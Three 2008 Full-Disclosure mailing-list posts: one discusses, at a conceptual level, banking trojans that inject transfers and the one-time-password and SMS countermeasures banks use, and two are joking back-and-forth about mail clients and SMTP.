Hi, On Thu, Dec 11, 2008 at 03:45:26PM +0200, Viktor Larionov wrote: > By baking trojans, I meant trojans injecting additional payment information > into your bank transfers - e.g. you make 5 payments, but the trojan makes > also the sixth one, still browser with the help of a trojan displays you > only 5 of them. That wouldn't work, since the additional transaction would require a one-time password as well. Replacing a transaction works if you have control over the browser, but many banks have reacted already and offer to send the password via SMS along with a copy of the transaction data so you have a second channel. During the next year, I expect a trojan that infects phones and looks for messages with account data and passwords, then forwards them over the internet (hooray for always-on UMTS) so they can be matched to hijacked browsers. What I'd like to see in the next two years (but I'm not holding my breath) would be a (standardized?) "security module" in mobile phones that is independent from the rest of the system and can take over display and keypad, indicated via a dedicated LED; this way, the message containing the password could be encrypted without a trojan ever having a chance to access it. > Still there are very successfull strategies used by banks to fight this - > mostly based on social analysis of your behavement, but that's another > story. Yes, I was without access to my bank account for a whole week because it doesn't fit my usual behaviour pattern to rent a room in a shady district of Madrid. :-/ Simon signature.asc Description: Digital signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] FD subject line/name of org suggestion...
On Dec 12, 2008, at 12:13 AM, Knud Erik Højgaard wrote: > On Thu, Dec 11, 2008 at 9:28 PM, - o z - . wrote: >> I don't want to read it with Lynx, either. I've got >> some damn good SMTP clients, like Pine v.01a, OK? > > How do you >read< anything with an SMTP client? > -- You're right. It should be pop, imap, or simply client. And while your comment displays a level of technical acumen, I occasionally forget that not everyone speaks/comprehends the subtleties of English, probably about as good as me trying to get satire spoken in Danish. It's a joke. Satire. My mail client rant, whether or not the underlying protocols used smtp, pop, imap, http, https or little blue elves carrying 7 or 8 mime-bits out my bunghole...didn't have an option for crayon fonts big and colorful enough so an international audience would understand & laugh...when I used Pine as the kicker, masturbatorily using a pre-Alpha version moniker, even calling Pine a great way to read email...I guess u took that seriously? That's OK, I learned a long time ago not to #%*^ with the Vikings. Your comment did make me think back...way back to 1995...using Trumpet Windsock with a win SMTP client that *did* use SMTP to both send and receivesomehow?...written in Pascal of all things...compiled and supported by a David C(K)ornit was very, very slow. But not funny. At least your average SMTP server was way more friendly back then after HELO, and damn it all, were they more xploitable or what? When I think back to all the crazy...never mind. It was an astounding time be alive is all, and writing about it makes me feel very, very old. Thanx for the clarification, Knud. -oz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] FD subject line/name of org suggestion...
On Thu, Dec 11, 2008 at 9:28 PM, - o z - . wrote: > I don't want to read it with Lynx, either. I've got > some damn good SMTP clients, like Pine v.01a, OK? How do you >read< anything with an SMTP client? -- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
